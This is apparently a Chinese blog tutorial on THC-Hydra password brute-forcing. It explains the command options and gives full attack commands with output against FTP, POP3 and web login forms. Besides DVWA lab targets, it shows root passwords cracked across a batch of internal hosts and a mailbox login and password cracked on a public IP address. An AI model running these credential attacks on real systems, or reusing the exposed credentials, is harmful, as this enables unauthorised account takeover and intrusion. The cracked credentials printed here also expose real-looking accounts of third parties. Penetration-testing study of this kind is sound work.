http://www.cnblogs.com/mchina/archive/2013/01/01/2840815.html
https://www.thc.org/thc-hydra/
语法
# hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
-R 继续从上一次进度接着破解
-S 大写,采用SSL链接
-s <PORT>小写,可通过这个参数指定非默认端口-l <LOGIN>指定破解的用户,对特定用户破解
-L <FILE>指定用户名字典
-p <PASS>小写,指定密码破解,少用,一般是采用密码字典-P <FILE>大写,指定密码字典
-e <ns>可选选项,n:空密码试探,s:使用指定用户和密码试探
-C <FILE>使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数
-M <FILE>指定目标列表文件一行一条
-o <FILE>指定结果输出文件
-f在使用-M参数以后,找到第一对登录名或者密码的时候中止破解
-t <TASKS>同时运行的线程数,默认为16
-w <TIME>设置最大超时的时间,单位秒,默认是30s
-v / -V显示详细过程
server目标ip
service
指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等
具体示例, 首先要备好用户名和密码列表
root@kali:~/DailyPentest/BruteForce# more user.list psswd.list :::::::::::::: user.list :::::::::::::: admin root hello wokao msfadmin ccadmin :::::::::::::: psswd.list :::::::::::::: 1 111 22222 11111 123 1234 123456 msfadmin love admin123 lovemm
破ftp/telnet/ssh等,方法类似,只要确定对方相应端口是否有打开即可进行破解
root@kali:~/DailyPentest/BruteForce# hydra -L ./user.list -P psswd.list -e ns -t 20 192.168.0.102 ftp Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2014-01-01 22:17:06 [DATA] 20 tasks, 1 server, 78 login tries (l:6/p:13), ~3 tries per task [DATA] attacking service ftp on port 21 [21][ftp] host: 192.168.0.102 login: msfadmin password: msfadmin
利用-M参数可以批量破解主机。
ubuntu@ubuntu:~/test/tmp/hydra-7.6/bin$ ./hydra -L user.txt -P passwd.txt -M ip1003.txt ftp Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2014-01-02 19:02:58 [WARNING] More tasks defined per server than allowed for maximal connections. Tasks reduced to 1. [DATA] 1 task, 106 servers, 40 login tries (l:5/p:8), ~4240 tries per task [DATA] attacking service ftp on port 21 [21][ftp] host: 10.0.3.90 login: root password: adcadmin [21][ftp] host: 10.0.3.90 login: p4admin password: p4admin [21][ftp] host: 10.0.3.91 login: root password: swa_123 [21][ftp] host: 10.0.3.109 login: root password: adcadmin [21][ftp] host: 10.0.3.103 login: root password: adcadmin [21][ftp] host: 10.0.3.176 login: root password: adcadmin [21][ftp] host: 10.0.3.179 login: root password: adcadmin [21][ftp] host: 10.0.3.112 login: root password: adcadmin [21][ftp] host: 10.0.3.91 login: p4admin password: p42012
破解邮箱。。。
root@kali:~/DailyPentest/BruteForce# hydra -L user.list -P psswd.list 134.147.16.53 pop3 Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2014-01-03 22:21:55 [DATA] 16 tasks, 1 server, 154 login tries (l:11/p:14), ~9 tries per task [DATA] attacking service pop3 on port 110 [110][pop3] host: 134.147.16.53 login: katestj password: 8gafgl 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2014-01-03 22:22:46
破http post form,这个稍麻烦一点,需要抓包并按规则写下输入信息
root@kali:~/DailyPentest/BruteForce# hydra -L ~/DailyPentest/BruteForce/user.list -P ~/DailyPentest/BruteForce/psswd.list 192.168.0.102 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=1ba0d80129e941f900a95135cc49ef54" Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2014-01-01 22:23:21 [DATA] 16 tasks, 1 server, 66 login tries (l:6/p:11), ~4 tries per task [DATA] attacking service http-get-form on port 80 [80][www-form] host: 192.168.0.102 login: admin password: 123 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2014-01-01 22:23:25
get方式提交,破解web登录
# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php
post方式提交,破解web登录:
该软件的强大之处就在于支持多种协议的破解,同样也支持对于web用户界面的登录破解,get方式提交的表单比较简单,这里通过post方式提交密码破解提供思路。该工具有一个不好的地方就是,如果目标网站登录时候需要验证码就无法破解了。
带参数破解如下:
<form action="index.php" method="POST">
<input type="text" name="name" /><BR><br>
<input type="password" name="pwd" /><br><br>
<input type="submit" name="sub" value="提交">
</form>
假设有以上一个密码登录表单,我们执行命令:
# hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”
破解的用户名是admin,密码字典是pass.lst,破解结果保存在ok.lst,-t 是同时线程数为1,-f 是当破解了一个密码就停止,ip 是本地,就是目标ip,http-post-form表示破解是采用http 的post 方式提交的表单密码破解。
后面参数是网页中对应的表单字段的name 属性,后面<title>中的内容是表示错误猜解的返回信息提示,可以自定义。
对dvwa brute form界面的破解
root@kali:~/DailyPentest/BruteForce# hydra -L user.list -P psswd.list 192.168.0.104 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=481b089a941d0aecc848227e2e90202e" Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2014-01-03 22:14:44 [DATA] 16 tasks, 1 server, 130 login tries (l:10/p:13), ~8 tries per task [DATA] attacking service http-get-form on port 80 [80][www-form] host: 192.168.0.104 login: admin password: 123 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2014-01-03 22:14:51
:H其实是用来手动添加Header 域的, 比如上面的我们手动添加了 :H=Cookie: security=low; PHPSESSID=o7qiqd9fc1d003u9d38k64t0f4, 这其实是告诉hydra每次get或者post的时候要添加上这个:H后面的头部的域。没有这个选项无法成功。。